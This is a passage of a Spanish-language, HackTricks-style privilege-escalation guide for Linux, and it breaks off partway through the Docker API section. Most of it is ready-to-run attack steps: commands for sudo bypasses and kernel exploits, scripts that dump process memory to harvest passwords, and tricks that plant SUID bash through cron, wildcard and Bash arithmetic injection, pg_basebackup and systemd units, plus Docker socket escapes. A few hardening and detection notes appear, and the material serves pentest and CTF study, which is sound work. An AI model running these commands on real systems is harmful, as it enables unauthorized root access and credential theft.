Linux Privilege Escalation

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Información del sistema

Información del SO

Empecemos a obtener información sobre el SO en ejecución

(cat /proc/version || uname -a ) 2>/dev/null
lsb_release -a 2>/dev/null # old, not by default on many systems
cat /etc/os-release 2>/dev/null # universal on modern systems

Path

Si tienes permisos de escritura en cualquier carpeta dentro de la variable PATH, podrías secuestrar algunas bibliotecas o binarios:

echo $PATH

Información del entorno

¿Hay información interesante, contraseñas o claves API en las variables de entorno?

(env || set) 2>/dev/null

Kernel exploits

Comprueba la kernel version y si existe algún exploit que pueda usarse para escalate privileges

cat /proc/version
uname -a
searchsploit "Linux Kernel"

Puedes encontrar una buena lista de kernels vulnerables y algunos compiled exploits aquí: https://github.com/lucyoa/kernel-exploits and exploitdb sploits.
Otros sitios donde puedes encontrar algunos compiled exploits: https://github.com/bwbwbwbw/linux-exploit-binaries, https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack

Para extraer todas las versiones de kernel vulnerables de esa web puedes hacer:

curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' '

Herramientas que pueden ayudar a buscar exploits del kernel son:

linux-exploit-suggester.sh
linux-exploit-suggester2.pl
linuxprivchecker.py (execute IN victim, solo comprueba exploits para kernel 2.x)

Siempre busca la versión del kernel en Google, puede que tu versión del kernel esté escrita en algún exploit del kernel y así estarás seguro de que ese exploit es válido.

Additional kernel exploitation techniques:

Adreno A7xx Sds Rb Priv Bypass Gpu Smmu Kernel Rw Arm64 Static Linear Map Kaslr Bypass

CVE-2016-5195 (DirtyCow)

Linux Privilege Escalation - Linux Kernel <= 3.19.0-73.8

# make dirtycow stable
echo 0 > /proc/sys/vm/dirty_writeback_centisecs
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c

Versión de sudo

Basado en las versiones vulnerables de sudo que aparecen en:

searchsploit sudo

Puedes comprobar si la versión de sudo es vulnerable usando este grep.

sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]"

Sudo < 1.9.17p1

Sudo versions before 1.9.17p1 (1.9.14 - 1.9.17 < 1.9.17p1) allows unprivileged local users to escalate their privileges to root via sudo --chroot option when /etc/nsswitch.conf file is used from a user controlled directory.

Here is a PoC to exploit that vulnerability. Before running the exploit, make sure that your sudo version is vulnerable and that it supports the chroot feature.

For more information, refer to the original vulnerability advisory

Sudo host-based rules bypass (CVE-2025-32462)

Sudo before 1.9.17p1 (reported affected range: 1.8.8–1.9.17) can evaluate host-based sudoers rules using the user-supplied hostname from sudo -h <host> instead of the real hostname. If sudoers grants broader privileges on another host, you can spoof that host locally.

Requirements:

  • Vulnerable sudo version
  • Host-specific sudoers rules (host is neither the current hostname nor ALL)

Example sudoers pattern:

Host_Alias     SERVERS = devbox, prodbox
Host_Alias     PROD    = prodbox
alice          SERVERS, !PROD = NOPASSWD:ALL

Explotar suplantando el host permitido:

sudo -h devbox id
sudo -h devbox -i

Si la resolución del spoofed name se bloquea, añádelo a /etc/hosts o usa un hostname que ya aparezca en logs/configs para evitar DNS lookups.

sudo < v1.8.28

De @sickrov

sudo -u#-1 /bin/bash

Dmesg signature verification failed

Consulta smasher2 box of HTB para un ejemplo de cómo se podría explotar esta vuln

dmesg 2>/dev/null | grep "signature"

Más enumeración del sistema

date 2>/dev/null #Date
(df -h || lsblk) #System stats
lscpu #CPU info
lpstat -a 2>/dev/null #Printers info

Enumerar posibles defensas

AppArmor

if [ `which aa-status 2>/dev/null` ]; then
aa-status
elif [ `which apparmor_status 2>/dev/null` ]; then
apparmor_status
elif [ `ls -d /etc/apparmor* 2>/dev/null` ]; then
ls -d /etc/apparmor*
else
echo "Not found AppArmor"
fi

Grsecurity

((uname -r | grep "\-grsec" >/dev/null 2>&1 || grep "grsecurity" /etc/sysctl.conf >/dev/null 2>&1) && echo "Yes" || echo "Not found grsecurity")

PaX

(which paxctl-ng paxctl >/dev/null 2>&1 && echo "Yes" || echo "Not found PaX")

Execshield

(grep "exec-shield" /etc/sysctl.conf || echo "Not found Execshield")

SElinux

(sestatus 2>/dev/null || echo "Not found sestatus")

ASLR

cat /proc/sys/kernel/randomize_va_space 2>/dev/null
#If 0, not enabled

Container Breakout

Si estás dentro de un container, empieza con la siguiente sección container-security y luego haz pivot hacia las páginas de abuso específicas del runtime:

Container Security

Unidades

Revisa qué está montado y desmontado, dónde y por qué. Si algo está desmontado, podrías intentar montarlo y comprobar información privada

ls /dev 2>/dev/null | grep -i "sd"
cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null
#Check if credentials in fstab
grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null

Software útil

Enumerar binarios útiles

which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null

Además, comprueba si any compiler is installed. Esto es útil si necesitas usar algún kernel exploit, ya que se recomienda compilarlo en la máquina en la que lo vas a usar (o en una similar).

(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/")

Software vulnerable instalado

Comprueba la versión de los paquetes y servicios instalados. Puede que haya alguna versión antigua de Nagios (por ejemplo) que podría ser explotada para escalating privileges…
Se recomienda comprobar manualmente la versión del software instalado más sospechoso.

dpkg -l #Debian
rpm -qa #Centos

Si tienes acceso SSH a la máquina, también podrías usar openVAS para comprobar si hay software instalado en la máquina que esté desactualizado o sea vulnerable.

[!NOTE] > Ten en cuenta que estos comandos mostrarán mucha información que en su mayoría será inútil, por lo tanto, se recomiendan aplicaciones como OpenVAS o similares que verifiquen si alguna versión de software instalada es vulnerable a exploits conocidos

Procesos

Echa un vistazo a qué procesos se están ejecutando y comprueba si algún proceso tiene más privilegios de los que debería (¿quizá un tomcat ejecutándose como root?)

ps aux
ps -ef
top -n 1

Siempre comprueba si hay electron/cef/chromium debuggers ejecutándose; podrías abusar de ellos para escalar privilegios. Linpeas detecta esos comprobando el parámetro --inspect en la línea de comandos del proceso.
También revisa tus privilegios sobre los binarios de los procesos, quizá puedas sobrescribir alguno.

Cadenas padre-hijo entre distintos usuarios

Un proceso hijo que se ejecuta bajo un usuario distinto al de su padre no es automáticamente malicioso, pero es una útil señal de triage. Algunas transiciones son esperadas (root creando un usuario de servicio, los gestores de inicio de sesión creando procesos de sesión), pero cadenas inusuales pueden revelar wrappers, debug helpers, persistencia, o límites de confianza en tiempo de ejecución débiles.

Revisión rápida:

ps -eo pid,ppid,user,comm,args --sort=ppid
pstree -alp

Si encuentras una cadena sorprendente, inspecciona la línea de comando del padre y todos los archivos que influyen en su comportamiento (config, EnvironmentFile, helper scripts, working directory, writable arguments). En varias rutas reales de privesc el propio proceso hijo no era escribible, pero la config controlada por el padre o la cadena de helpers sí lo era.

Ejecutables eliminados y archivos eliminados pero aún abiertos

Los artefactos en tiempo de ejecución a menudo siguen siendo accesibles después de la eliminación. Esto es útil tanto para privilege escalation como para recuperar evidencia de un proceso que ya tiene archivos sensibles abiertos.

Comprueba ejecutables eliminados:

pid=<PID>
ls -l /proc/$pid/exe
readlink /proc/$pid/exe
tr '\0' ' ' </proc/$pid/cmdline; echo

Si /proc/<PID>/exe apunta a (deleted), el proceso sigue ejecutando la antigua imagen binaria desde la memoria. Eso es una señal clara para investigar porque:

  • el ejecutable eliminado puede contener cadenas interesantes o credenciales
  • el proceso en ejecución puede seguir exponiendo descriptores de archivo útiles
  • un binario privilegiado eliminado puede indicar manipulación reciente o un intento de limpieza

Recopilar archivos eliminados que siguen abiertos globalmente:

lsof +L1

Si encuentras un descriptor interesante, recupéralo directamente:

ls -l /proc/<PID>/fd
cat /proc/<PID>/fd/<FD>

Esto es especialmente valioso cuando un proceso aún tiene abierto un secreto eliminado, script, exportación de base de datos o archivo flag.

Monitoreo de procesos

Puedes usar herramientas como pspy para monitorizar procesos. Esto puede ser muy útil para identificar procesos vulnerables que se ejecutan con frecuencia o cuando se cumplen un conjunto de requisitos.

Memoria de procesos

Algunos servicios de un servidor guardan credentials in clear text inside the memory.
Normalmente necesitarás root privileges para leer la memoria de procesos que pertenecen a otros usuarios, por lo tanto esto suele ser más útil cuando ya eres root y quieres descubrir más credentials.
Sin embargo, recuerda que as a regular user you can read the memory of the processes you own.

Warning

Ten en cuenta que hoy en día la mayoría de máquinas don’t allow ptrace by default lo que significa que no puedes volcar otros procesos que pertenecen a tu usuario sin privilegios.

El archivo /proc/sys/kernel/yama/ptrace_scope controla la accesibilidad de ptrace:

  • kernel.yama.ptrace_scope = 0: todos los procesos pueden ser depurados, siempre que tengan el mismo uid. Esta es la forma clásica de cómo funcionaba ptracing.
  • kernel.yama.ptrace_scope = 1: solo un proceso padre puede ser depurado.
  • kernel.yama.ptrace_scope = 2: solo el admin puede usar ptrace, ya que requiere la capability CAP_SYS_PTRACE.
  • kernel.yama.ptrace_scope = 3: ningún proceso puede ser trazado con ptrace. Una vez establecido, se necesita un reboot para habilitar ptracing de nuevo.

GDB

Si tienes acceso a la memoria de un servicio FTP (por ejemplo) podrías obtener el Heap y buscar dentro de sus credentials.

gdb -p <FTP_PROCESS_PID>
(gdb) info proc mappings
(gdb) q
(gdb) dump memory /tmp/mem_ftp <START_HEAD> <END_HEAD>
(gdb) q
strings /tmp/mem_ftp #User and password

GDB Script

#!/bin/bash
#./dump-memory.sh <PID>
grep rw-p /proc/$1/maps \
| sed -n 's/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p' \
| while read start stop; do \
gdb --batch --pid $1 -ex \
"dump memory $1-$start-$stop.dump 0x$start 0x$stop"; \
done

/proc/$pid/maps & /proc/$pid/mem

Para un ID de proceso dado, maps muestran cómo la memoria está mapeada dentro del espacio de direcciones virtual de ese proceso; también muestran los permisos de cada región mapeada. El pseudo archivo mem expone la memoria del proceso en sí. Del archivo maps sabemos qué regiones de memoria son legibles y sus offsets. Usamos esta información para seek into the mem file and dump all readable regions a un archivo.

procdump()
(
cat /proc/$1/maps | grep -Fv ".so" | grep " 0 " | awk '{print $1}' | ( IFS="-"
while read a b; do
dd if=/proc/$1/mem bs=$( getconf PAGESIZE ) iflag=skip_bytes,count_bytes \
skip=$(( 0x$a )) count=$(( 0x$b - 0x$a )) of="$1_mem_$a.bin"
done )
cat $1*.bin > $1.dump
rm $1*.bin
)

/dev/mem

/dev/mem proporciona acceso a la memoria física del sistema, no a la memoria virtual. El espacio de direcciones virtuales del kernel puede accederse usando /dev/kmem.
Por lo general, /dev/mem solo es legible por root y el grupo kmem.

strings /dev/mem -n10 | grep -i PASS

ProcDump para linux

ProcDump es una reimaginación para Linux de la clásica herramienta ProcDump de la suite Sysinternals para Windows. Consíguelo en https://github.com/Sysinternals/ProcDump-for-Linux

procdump -p 1714

ProcDump v1.2 - Sysinternals process dump utility
Copyright (C) 2020 Microsoft Corporation. All rights reserved. Licensed under the MIT license.
Mark Russinovich, Mario Hewardt, John Salem, Javid Habibi
Monitors a process and writes a dump file when the process meets the
specified criteria.

Process:		sleep (1714)
CPU Threshold:		n/a
Commit Threshold:	n/a
Thread Threshold:		n/a
File descriptor Threshold:		n/a
Signal:		n/a
Polling interval (ms):	1000
Threshold (s):	10
Number of Dumps:	1
Output directory for core dumps:	.

Press Ctrl-C to end monitoring without terminating the process.

[20:20:58 - WARN]: Procdump not running with elevated credentials. If your uid does not match the uid of the target process procdump will not be able to capture memory dumps
[20:20:58 - INFO]: Timed:
[20:21:00 - INFO]: Core dump 0 generated: ./sleep_time_2021-11-03_20:20:58.1714

Herramientas

To dump a process memory you could use:

Credenciales desde la memoria del proceso

Ejemplo manual

Si encuentras que el proceso authenticator está en ejecución:

ps -ef | grep "authenticator"
root      2027  2025  0 11:46 ?        00:00:00 authenticator

Puedes dump the process (ver las secciones anteriores para encontrar diferentes maneras de dump the memory of a process) y buscar credenciales dentro de la memory:

./dump-memory.sh 2027
strings *.dump | grep -i password

mimipenguin

La herramienta https://github.com/huntergregal/mimipenguin robará credenciales en texto claro desde la memoria y desde algunos archivos bien conocidos. Requiere privilegios de root para funcionar correctamente.

FuncionalidadNombre del proceso
GDM password (Kali Desktop, Debian Desktop)gdm-password
Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop)gnome-keyring-daemon
LightDM (Ubuntu Desktop)lightdm
VSFTPd (Active FTP Connections)vsftpd
Apache2 (Active HTTP Basic Auth Sessions)apache2
OpenSSH (Active SSH Sessions - Sudo Usage)sshd:

Expresiones regulares de búsqueda/truffleproc

# un truffleproc.sh against your current Bash shell (e.g. $$)
./truffleproc.sh $$
# coredumping pid 6174
Reading symbols from od...
Reading symbols from /usr/lib/systemd/systemd...
Reading symbols from /lib/systemd/libsystemd-shared-247.so...
Reading symbols from /lib/x86_64-linux-gnu/librt.so.1...
[...]
# extracting strings to /tmp/tmp.o6HV0Pl3fe
# finding secrets
# results in /tmp/tmp.o6HV0Pl3fe/results.txt

Tareas programadas/Cron jobs

Crontab UI (alseambusher) ejecutándose como root – privesc en un programador basado en web

Si un panel web “Crontab UI” (alseambusher/crontab-ui) se ejecuta como root y está enlazado únicamente a loopback, aún puedes alcanzarlo mediante un port-forwarding local por SSH y crear una tarea privilegiada para escalar.

Cadena típica

  • Detectar puerto ligado solo a loopback (p. ej., 127.0.0.1:8000) y el realm de Basic-Auth mediante ss -ntlp / curl -v localhost:8000
  • Encontrar credenciales en artefactos operativos:
  • Copias de seguridad/scripts con zip -P <password>
  • unidad systemd que expone Environment="BASIC_AUTH_USER=...", Environment="BASIC_AUTH_PWD=..."
  • Crear un túnel e iniciar sesión:
ssh -L 9001:localhost:8000 user@target
# browse http://localhost:9001 and authenticate
  • Crear un job con privilegios elevados y ejecutarlo inmediatamente (genera un SUID shell):
# Name: escalate
# Command:
cp /bin/bash /tmp/rootshell && chmod 6777 /tmp/rootshell
  • Úsalo:
/tmp/rootshell -p   # root shell

Hardening

  • No ejecutes Crontab UI como root; restríngelo a un usuario dedicado con permisos mínimos
  • Bind to localhost y además restringe el acceso mediante firewall/VPN; no reutilices contraseñas
  • Evita incrustar secretos en unit files; usa secret stores o EnvironmentFile solo accesible por root
  • Habilita audit/logging para ejecuciones de jobs on-demand

Comprueba si algún scheduled job es vulnerable. Quizá puedas aprovechar un script ejecutado por root (wildcard vuln? ¿puedes modificar archivos que root usa? ¿usar symlinks? ¿crear archivos específicos en el directorio que root usa?).

crontab -l
ls -al /etc/cron* /etc/at*
cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#"

Si se usa run-parts, comprueba qué nombres se ejecutarán realmente:

run-parts --test /etc/cron.hourly
run-parts --test /etc/cron.daily

Esto evita falsos positivos. Un directorio periódico escribible solo es útil si el nombre de tu payload coincide con las reglas locales de run-parts.

Ruta de Cron

Por ejemplo, dentro de /etc/crontab puedes encontrar el PATH: PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

(Observa cómo el usuario “user” tiene permisos de escritura sobre /home/user)

Si dentro de este crontab el usuario root intenta ejecutar algún comando o script sin establecer el PATH. Por ejemplo: * * * * root overwrite.sh
Entonces, puedes obtener un root shell usando:

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
#Wait cron job to be executed
/tmp/bash -p #The effective uid and gid to be set to the real uid and gid

Cron using a script with a wildcard (Wildcard Injection)

Si un script ejecutado por root contiene un “*” dentro de un comando, podrías explotarlo para provocar comportamientos inesperados (como privesc). Ejemplo:

rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script

Si el wildcard va precedido de una ruta como /some/path/* , no es vulnerable (incluso ./* no lo es).

Read the following page for more wildcard exploitation tricks:

Wildcards Spare tricks

Bash arithmetic expansion injection in cron log parsers

Bash performs parameter expansion and command substitution before arithmetic evaluation in ((…)), $((…)) and let. If a root cron/parser reads untrusted log fields and feeds them into an arithmetic context, an attacker can inject a command substitution $(…) that executes as root when the cron runs.

  • Por qué funciona: En Bash, las expansiones ocurren en este orden: parameter/variable expansion, command substitution, arithmetic expansion, luego word splitting y pathname expansion. Así, un valor como $(/bin/bash -c 'id > /tmp/pwn')0 se sustituye primero (ejecutando el comando), luego el 0 numérico restante se usa para la aritmética, por lo que el script continúa sin errores.

  • Patrón vulnerable típico:

#!/bin/bash
# Example: parse a log and "sum" a count field coming from the log
while IFS=',' read -r ts user count rest; do
# count is untrusted if the log is attacker-controlled
(( total += count ))     # or: let "n=$count"
done < /var/www/app/log/application.log
  • Explotación: Haz que texto controlado por el atacante se escriba en el log parseado de modo que el campo de aspecto numérico contenga una command substitution y termine con un dígito. Asegúrate de que tu comando no imprima en stdout (o redirígelo) para que la aritmética siga siendo válida.
# Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim):
$(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0
# When the root cron parser evaluates (( total += count )), your command runs as root.

If you can modify a cron script executed by root, you can get a shell very easily:

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT>
#Wait until it is executed
/tmp/bash -p

Si el script ejecutado por root usa un directorio al que tienes acceso total, podría ser útil eliminar esa carpeta y crear un symlink hacia otra carpeta que sirva un script controlado por ti

ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>

Al revisar scripts/binarios privilegiados que leen o escriben archivos por ruta, verifica cómo se manejan los symlinks:

  • stat() sigue un symlink y devuelve los metadatos del destino.
  • lstat() devuelve los metadatos del symlink en sí.
  • readlink -f y namei -l ayudan a resolver el destino final y muestran los permisos de cada componente de la ruta.
readlink -f /path/to/link
namei -l /path/to/link

Para defensores/desarrolladores, patrones más seguros contra symlink tricks incluyen:

  • O_EXCL con O_CREAT: falla si la ruta ya existe (bloquea enlaces/archivos pre-creados por el atacante).
  • openat(): operar relativo a un file descriptor de directorio de confianza.
  • mkstemp(): crear archivos temporales atómicamente con permisos seguros.

Binarios cron firmados de forma personalizada con payloads escribibles

Los blue teams a veces “firman” binarios ejecutados por cron volcando una sección ELF personalizada y usando grep para buscar una cadena del vendor antes de ejecutarlos como root. Si ese binario es escribible por el grupo (p. ej., /opt/AV/periodic-checks/monitor owned by root:devs 770) y puedes leak el material de firma, puedes falsificar la sección y secuestrar la tarea de cron:

  1. Usa pspy para capturar el flujo de verificación. En Era, root ejecutó objcopy --dump-section .text_sig=text_sig_section.bin monitor seguido de grep -oP '(?<=UTF8STRING :)Era Inc.' text_sig_section.bin y luego ejecutó el archivo.
  2. Recrea el certificado esperado usando la leaked key/config (desde signing.zip):
openssl req -x509 -new -nodes -key key.pem -config x509.genkey -days 365 -out cert.pem
  1. Construye un reemplazo malicioso (p. ej., dejar un bash SUID, añadir tu SSH key) e incrusta el certificado en .text_sig para que el grep pase:
gcc -fPIC -pie monitor.c -o monitor
objcopy --add-section .text_sig=cert.pem monitor
objcopy --dump-section .text_sig=text_sig_section.bin monitor
strings text_sig_section.bin | grep 'Era Inc.'
  1. Sobrescribe el binario programado preservando los bits de ejecución:
cp monitor /opt/AV/periodic-checks/monitor
chmod 770 /opt/AV/periodic-checks/monitor
  1. Espera la siguiente ejecución de cron; una vez que la verificación de firma ingenua tenga éxito, tu payload se ejecutará como root.

Tareas de cron frecuentes

Puedes monitorizar los procesos para buscar procesos que se ejecutan cada 1, 2 o 5 minutos. Quizá puedas aprovecharlo y escalar privilegios.

Por ejemplo, para monitorizar cada 0.1s durante 1 minuto, ordenar por los comandos menos ejecutados y eliminar los comandos que se han ejecutado más, puedes hacer:

for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;

También puedes usar pspy (esto monitorizará y listará cada proceso que se inicie).

Copias de seguridad de root que preservan los mode bits establecidos por el atacante (pg_basebackup)

Si un cron propiedad de root envuelve pg_basebackup (o cualquier copia recursiva) sobre un directorio de base de datos en el que puedes escribir, puedes plantar un SUID/SGID binary que será recopiado como root:root con los mismos mode bits en la salida del backup.

Flujo típico de descubrimiento (como usuario DB de bajos privilegios):

  • Usa pspy para detectar un cron root que ejecute algo como /usr/lib/postgresql/14/bin/pg_basebackup -h /var/run/postgresql -U postgres -D /opt/backups/current/ cada minuto.
  • Confirma que el cluster de origen (p. ej., /var/lib/postgresql/14/main) es escribible por ti y que el destino (/opt/backups/current) pasa a ser propiedad de root después de la tarea.

Exploit:

# As the DB service user owning the cluster directory
cd /var/lib/postgresql/14/main
cp /bin/bash .
chmod 6777 bash

# Wait for the next root backup run (pg_basebackup preserves permissions)
ls -l /opt/backups/current/bash  # expect -rwsrwsrwx 1 root root ... bash
/opt/backups/current/bash -p    # root shell without dropping privileges

Esto funciona porque pg_basebackup preserva los bits de modo de archivo al copiar el cluster; cuando se invoca como root los archivos de destino heredan root ownership + attacker-chosen SUID/SGID. Cualquier rutina privilegiada de backup/copy similar que conserve los permisos y escriba en una ubicación ejecutable es vulnerable.

Cronjobs invisibles

Es posible crear un cronjob colocando un carriage return después de un comentario (sin carácter de nueva línea), y el cronjob funcionará. Ejemplo (fíjate en el carácter carriage return):

#This is a comment inside a cron config file\r* * * * * echo "Surprise!"

Para detectar este tipo de entrada sigilosa, inspeccione los archivos cron con herramientas que muestren caracteres de control:

cat -A /etc/crontab
cat -A /etc/cron.d/*
sed -n 'l' /etc/crontab /etc/cron.d/* 2>/dev/null
xxd /etc/crontab | head

Servicios

Archivos .service escribibles

Comprueba si puedes escribir en algún archivo .service; si puedes, podrías modificarlo para que ejecute tu backdoor cuando el servicio se inicie, se reinicie o se detenga (quizá necesites esperar hasta que la máquina sea reiniciada).
Por ejemplo, crea tu backdoor dentro del archivo .service con ExecStart=/tmp/script.sh

Binarios de servicio escribibles

Ten en cuenta que si tienes permisos de escritura sobre binarios que son ejecutados por servicios, puedes modificarlos por backdoors de modo que cuando los servicios se re-ejecuten los backdoors se ejecuten.

systemd PATH - Rutas relativas

Puedes ver el PATH usado por systemd con:

systemctl show-environment

Si encuentras que puedes escribir en cualquiera de las carpetas de la ruta, es posible que puedas escalar privilegios. Debes buscar rutas relativas que se estén usando en archivos de configuración de servicios como:

ExecStart=faraday-server
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"

Entonces, crea un executable con el same name as the relative path binary dentro de la carpeta PATH de systemd en la que puedas escribir, y cuando se pida al servicio ejecutar la acción vulnerable (Start, Stop, Reload), tu backdoor will be executed (los usuarios sin privilegios normalmente no pueden start/stop servicios, pero verifica si puedes usar sudo -l).

Aprende más sobre services con man systemd.service.

Timers

Timers son archivos de unidad de systemd cuyo nombre termina en **.timer** que controlan archivos o eventos **.service**. Timers pueden usarse como alternativa a cron, ya que tienen soporte integrado para eventos por calendario y eventos de tiempo monotónico y pueden ejecutarse de forma asíncrona.

Puedes enumerar todos los Timers con:

systemctl list-timers --all

Timers modificables

Si puedes modificar un timer, puedes hacer que ejecute algunas de las unidades existentes de systemd.unit (como un .service o un .target)

Unit=backdoor.service

En la documentación puedes leer qué es la Unit:

La unidad a activar cuando este timer finaliza. El argumento es un nombre de unidad, cuyo sufijo no es “.timer”. Si no se especifica, este valor por defecto es un servicio que tiene el mismo nombre que la unidad timer, excepto por el sufijo. (See above.) Se recomienda que el nombre de la unidad que se activa y el nombre de la unidad de timer se nombren idénticamente, salvo por el sufijo.

Por lo tanto, para abusar de este permiso necesitarías:

  • Encontrar alguna unidad systemd (como un .service) que esté ejecutando un binario con permisos de escritura
  • Encontrar alguna unidad systemd que esté ejecutando una ruta relativa y sobre la systemd PATH tengas privilegios de escritura (para suplantar ese ejecutable)

Aprende más sobre timers con man systemd.timer.

Habilitar Timer

Para habilitar un timer necesitas privilegios root y ejecutar:

sudo systemctl enable backu2.timer
Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer.

Nótese que el timer se activa creando un symlink a él en /etc/systemd/system/<WantedBy_section>.wants/<name>.timer

Sockets

Unix Domain Sockets (UDS) permiten la comunicación entre procesos en la misma o en distintas máquinas dentro de modelos cliente-servidor. Utilizan archivos de descriptor Unix estándar para la comunicación entre equipos y se configuran mediante archivos .socket.

Sockets pueden ser configurados usando archivos .socket.

Aprende más sobre sockets con man systemd.socket. Dentro de este archivo, se pueden configurar varios parámetros interesantes:

  • ListenStream, ListenDatagram, ListenSequentialPacket, ListenFIFO, ListenSpecial, ListenNetlink, ListenMessageQueue, ListenUSBFunction: Estas opciones son diferentes pero se usa un resumen para indicar dónde va a escuchar el socket (la ruta del archivo de socket AF_UNIX, la dirección IPv4/6 y/o el número de puerto a escuchar, etc.)
  • Accept: Acepta un argumento booleano. Si true, se genera una instancia de servicio por cada conexión entrante y solo se le pasa el socket de la conexión. Si false, todos los sockets de escucha se pasan a la unidad de servicio iniciada, y solo se genera una unidad de servicio para todas las conexiones. Este valor se ignora para sockets datagram y FIFOs donde una única unidad de servicio maneja incondicionalmente todo el tráfico entrante. Por defecto es false. Por razones de rendimiento, se recomienda escribir nuevos daemons solo de forma compatible con Accept=no.
  • ExecStartPre, ExecStartPost: Aceptan una o más líneas de comando, que se ejecutan antes o después de que los sockets/FIFOs de escucha sean creados y enlazados, respectivamente. El primer token de la línea de comando debe ser un nombre de archivo absoluto, seguido por los argumentos del proceso.
  • ExecStopPre, ExecStopPost: Comandos adicionales que se ejecutan antes o después de que los sockets/FIFOs de escucha sean cerrados y eliminados, respectivamente.
  • Service: Especifica el nombre de la unidad de service a activar ante tráfico entrante. Esta opción solo está permitida para sockets con Accept=no. Por defecto apunta al servicio que tiene el mismo nombre que el socket (con el sufijo reemplazado). En la mayoría de los casos no debería ser necesario usar esta opción.

Writable .socket files

Si encuentras un archivo .socket escribible puedes añadir al principio de la sección [Socket] algo como: ExecStartPre=/home/kali/sys/backdoor y el backdoor se ejecutará antes de que el socket sea creado. Por lo tanto, probablemente tendrás que esperar hasta que la máquina se reinicie.
Ten en cuenta que el sistema debe estar usando esa configuración de archivo socket o el backdoor no se ejecutará

Socket activation + writable unit path (create missing service)

Otra mala configuración de alto impacto es:

  • una unidad socket con Accept=no y Service=<name>.service
  • la unidad de servicio referenciada no existe
  • un atacante puede escribir en /etc/systemd/system (u otra ruta de búsqueda de unidades)

En ese caso, el atacante puede crear <name>.service, luego generar tráfico hacia el socket para que systemd cargue y ejecute el nuevo servicio como root.

Flujo rápido:

systemctl cat vuln.socket
# [Socket]
# Accept=no
# Service=vuln.service
cat >/etc/systemd/system/vuln.service <<'EOF'
[Service]
Type=oneshot
ExecStart=/bin/bash -c 'cp /bin/bash /var/tmp/rootbash && chmod 4755 /var/tmp/rootbash'
EOF
nc -q0 127.0.0.1 9999
/var/tmp/rootbash -p

Writable sockets

Si identify any writable socket (ahora estamos hablando de Unix Sockets y no de los archivos de configuración .socket), entonces you can communicate con ese socket y quizá puedas explotar una vulnerabilidad.

Enumerar Unix Sockets

netstat -a -p --unix

Conexión sin procesar

#apt-get install netcat-openbsd
nc -U /tmp/socket  #Connect to UNIX-domain stream socket
nc -uU /tmp/socket #Connect to UNIX-domain datagram socket

#apt-get install socat
socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type

Exploitation example:

Socket Command Injection

HTTP sockets

Ten en cuenta que puede haber algunos sockets escuchando peticiones HTTP (no me refiero a archivos .socket sino a los archivos que actúan como unix sockets). Puedes comprobarlo con:

curl --max-time 2 --unix-socket /path/to/socket/file http://localhost/

Si el socket responde a una solicitud HTTP, entonces puedes comunicarte con él y quizá explotar alguna vulnerabilidad.

Docker Socket escribible

El socket de Docker, frecuentemente ubicado en /var/run/docker.sock, es un archivo crítico que debe estar asegurado. Por defecto, es escribible por el usuario root y por los miembros del grupo docker. Poseer acceso de escritura a este socket puede conducir a privilege escalation. A continuación se muestra un desglose de cómo puede hacerse esto y métodos alternativos si el Docker CLI no está disponible.

Privilege Escalation with Docker CLI

Si tienes acceso de escritura al socket de Docker, puedes escalate privileges usando los siguientes comandos:

docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh

Estos comandos permiten ejecutar un contenedor con acceso root al sistema de archivos del host.

Uso directo de la Docker API

En casos en los que el Docker CLI no está disponible, el Docker socket todavía puede manipularse usando la Docker API y comandos curl.

  1. List Docker Images: Recupera la lista de imágenes disponibles.
curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json
  1. Create a Container: Envía una solicitud para crear un contenedor que monte el directorio raíz del sistema host.
